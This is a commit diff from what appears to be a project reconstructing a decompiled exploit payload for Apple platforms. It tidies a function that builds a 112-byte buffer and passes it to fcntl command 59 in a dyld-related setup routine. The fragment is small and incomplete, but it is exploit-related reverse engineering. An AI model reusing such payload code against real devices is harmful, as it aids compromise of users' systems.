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Clean up dyld fcntl setup payload

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khanhduytran0
2026-06-05 12:51:34 +07:00
parent f1de93dd3d
commit 510a65dc2f
1 changed files with 7 additions and 20 deletions
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src/payload_377bed/entry1_type0x09.m
+7 -20
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@@ -36162,30 +36162,17 @@ __int64 __fastcall spinlock_acquire_clear_bit(__int64 a1)
__int64 __fastcall dyld_fcntl59_mmap_setup(__int64 a1, int *a2)
{
int v2; // w8
__int64 v4; // [xsp+10h] [xbp-B0h] BYREF
__int128 v5; // [xsp+18h] [xbp-A8h]
__int64 v6; // [xsp+28h] [xbp-98h]
__int64 v7; // [xsp+30h] [xbp-90h]
__int128 v8; // [xsp+38h] [xbp-88h]
__int128 v9; // [xsp+48h] [xbp-78h]
__int128 v10; // [xsp+58h] [xbp-68h]
__int128 v11; // [xsp+68h] [xbp-58h]
__int64 v12; // [xsp+78h] [xbp-48h]
uint64_t payload[112 / sizeof(uint64_t)]; // [xsp+10h] [xbp-B0h] BYREF
uint64_t v13[7]; // [xsp+80h] [xbp-40h] BYREF
v2 = *a2;
v7 = 0x22000000000LL;
v12 = 0;
v11 = 0u;
v10 = 0u;
v9 = 0u;
v8 = 0u;
v4 = 0x70000000020CDEFALL;
v5 = 0x20200u;
HIBYTE(v7) = vm_page_shift;
v6 = 0;
memset(payload, 0, sizeof(payload));
payload[0] = 0x70000000020CDEFALL;
payload[1] = 0x20200u;
payload[4] = 0x22000000000LL;
*((uint8_t *)payload + 0x27) = vm_page_shift;
v13[0] = (unsigned int)(0x20000000 - *(uint32_t *)(a1 + 384));
v13[1] = &v4;
v13[1] = (uint64_t)payload;
v13[2] = 112;
if ( fcntl(v2, 59, v13) && errno == 1 )
__error();